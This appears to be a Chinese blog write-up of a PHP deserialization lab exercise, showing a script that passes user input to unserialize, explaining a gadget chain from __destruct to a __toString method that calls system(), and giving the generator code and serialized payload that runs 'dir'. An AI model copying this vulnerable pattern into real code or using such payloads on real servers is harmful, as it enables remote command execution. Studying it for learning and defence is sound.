【web】-反序列化-to_string

<?php
highlight_file(__FILE__);
class A{
    public $s;
    public function __destruct()
    {
        echo "hello".$this->s;
    }
   

}
class B{
    public $cmd;
    public function __toString()
    {
        system($this->cmd);
        return 1;
    }
}
unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候,自动执行

起点:"hello".$this->s;

终点:system($this->cmd);

跳板:"hello".$this->s;

<?php
highlight_file(__FILE__);
class A{
    public $s;
    public function __destruct()
    {
        echo "hello".$this->s;
    }
   

}
class B{
    public $cmd;
    public function __toString()
    {
        system($this->cmd);
        return "1";
    }
}


$a = new A();
$b = new B();
$b->cmd='dir';
$a->s=$b;

echo serialize($a);
?>


O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下:

相关推荐

  1. WEB渗透—PHP序列(二)

    2024-07-19 00:12:02       57 阅读
  2. WEB渗透—PHP序列(七)

    2024-07-19 00:12:02       55 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-19 00:12:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-19 00:12:02       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-19 00:12:02       58 阅读
  4. Python语言-面向对象

    2024-07-19 00:12:02       69 阅读

热门阅读

  1. 透过三星Galaxy Z Fold6,看见高效生活的未来图景

    2024-07-19 00:12:02       20 阅读
  2. 设计模式之观察者模式

    2024-07-19 00:12:02       20 阅读
  3. 微服务拆分流程 (黑马商城拆分商品服务)

    2024-07-19 00:12:02       19 阅读
  4. C# 邮件发送

    2024-07-19 00:12:02       23 阅读
  5. Repl.it: 在线的集成开发环境

    2024-07-19 00:12:02       25 阅读
  6. js基础知识

    2024-07-19 00:12:02       26 阅读
  7. vivado H_SET and HU_SET

    2024-07-19 00:12:02       21 阅读
  8. xhdra的使用记录

    2024-07-19 00:12:02       20 阅读
  9. Docker无网环境下配置方法

    2024-07-19 00:12:02       19 阅读
  10. 手动实现堵塞队列

    2024-07-19 00:12:02       25 阅读